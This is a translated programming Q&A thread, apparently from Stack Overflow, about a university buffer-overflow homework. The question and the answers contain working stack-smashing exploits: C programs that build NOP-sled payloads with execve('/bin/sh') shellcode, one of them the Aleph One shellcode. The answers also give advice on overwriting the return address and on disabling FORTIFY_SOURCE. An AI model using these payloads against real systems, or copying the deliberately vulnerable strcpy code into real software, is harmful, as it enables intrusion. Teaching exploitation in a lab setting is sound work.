缓冲区溢出作为家庭作业

时间:2013-02-13 05:32:20

标签: c buffer-overflow shellcode stack-smash fortify-source

还在学习安全类的缓冲区溢出内容,我正在尝试利用此应用程序中的漏洞:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}

使用此漏洞利用程序:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517);

    //BEGIN FILL BUFFER
         //from stack_smashing.pdf
    long *long_ptr = (long *) large_string;

    int i;
    for (i = 0; i < 128; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 100; i < strlen(code)+100; i++) 
        large_string[i] = code[i];

    strcpy(buffer,large_string);
    //END FILL BUFFER

    //save buffer to badfile
    fwrite(buffer,517,1,badfile);
    fclose(badfile);

    return 0;
}

出于某种原因,当我通过运行exploit创建badfile时,它不会向它推送任何东西。缓冲区为空或者写入不正确。我似乎无法找到我的错误,经过不知疲倦的谷歌搜索,我无法找到足够的答案。根据我对我使用的填充缓冲区代码的理解,这应该用我的缓冲区的地址填充long_string,然后将我的shellcode放在long_string的开头(在一些NOOP幻灯片之后),然后将long_string复制回缓冲区。我真的没有看到这个或与fwrite有任何问题。建议?

3 个答案:

答案 0 :(得分:0)

您的代码中缺少一件非常重要的事情。我会让你自己找到,但我可能会通过查看一段时间我解决的非常简单的缓冲区溢出问题来帮助你。

考虑这个带有漏洞的目标代码 - 容易缓冲区溢出。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo(char *arg)
{
  char buf[200];
  strcpy(buf, arg);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);
  return 0;
}

以下是漏洞利用代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
    char arg1[215] = "";
    memset(arg1,'\x90', 215);
    memcpy(arg1,shellcode,45);

    //0xbffffd78
    //0xbffffcb8

    arg1[212] = '\x88';
    arg1[213] = '\xfc';
    arg1[214] = '\xff';
    arg1[215] = '\xbf';
    char *args[] = { TARGET, arg1, NULL };
    char *env[] = { NULL };

    if (0 > execve(TARGET, args, env))
        fprintf(stderr, "execve failed.\n");

    return 0;
}

了解我如何定义目标并使用它。

另外,我之前见过shell代码。我使用下面的那个(phrack):

/*
 * Aleph One shellcode.
 */
static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

使用您的代码检查一下,如果有效,请告诉我。

ALSO:

strcpy(buffer,large_string);

无论你是否接受stdin中的large_string,写下这都是不好的做法。

答案 1 :(得分:0)

嗯,你需要了解粉碎堆栈真正实现的目标。它基本上会破坏很多值并覆盖一个特定的地址,该地址基本上是堆栈上返回指针的地址($ebp + 4)。你肯定想要粉碎堆栈,但是你需要做很多事情才能准确理解你需要用另一个指向你的shellcode的地址覆盖的地址。

http://www.phrack.com/issues.html?issue=49&id=14

目前你没有这两件事的任何一件事。

您应该使用gdb或其他工具来查看实际易受攻击代码的汇编代码并查看返回地址。基于此,您尝试使用命令行粉碎堆栈。

然后运行您的漏洞利用代码而不会粉碎堆栈。尝试捕获实际的返回地址,您应该指向您植入shellcode的地方。

你应该按照对phrack的阅读来真正理解粉碎堆栈的概念。希望有所帮助!

答案 2 :(得分:0)

strcpy(buffer,large_string);

测试期间需要解决的一个问题是此函数调用。

FORTIFY_SOURCE使用高风险函数的“更安全”变体,例如memcpystrcpy。当编译器可以推导出目标缓冲区大小时,编译器会使用更安全的变体。如果副本超过目标缓冲区大小,则程序将调用abort()

要禁用FORTIFY_SOURCE进行测试,您应该使用-U_FORTIFY_SOURCE-D_FORTIFY_SOURCE=0编译该程序。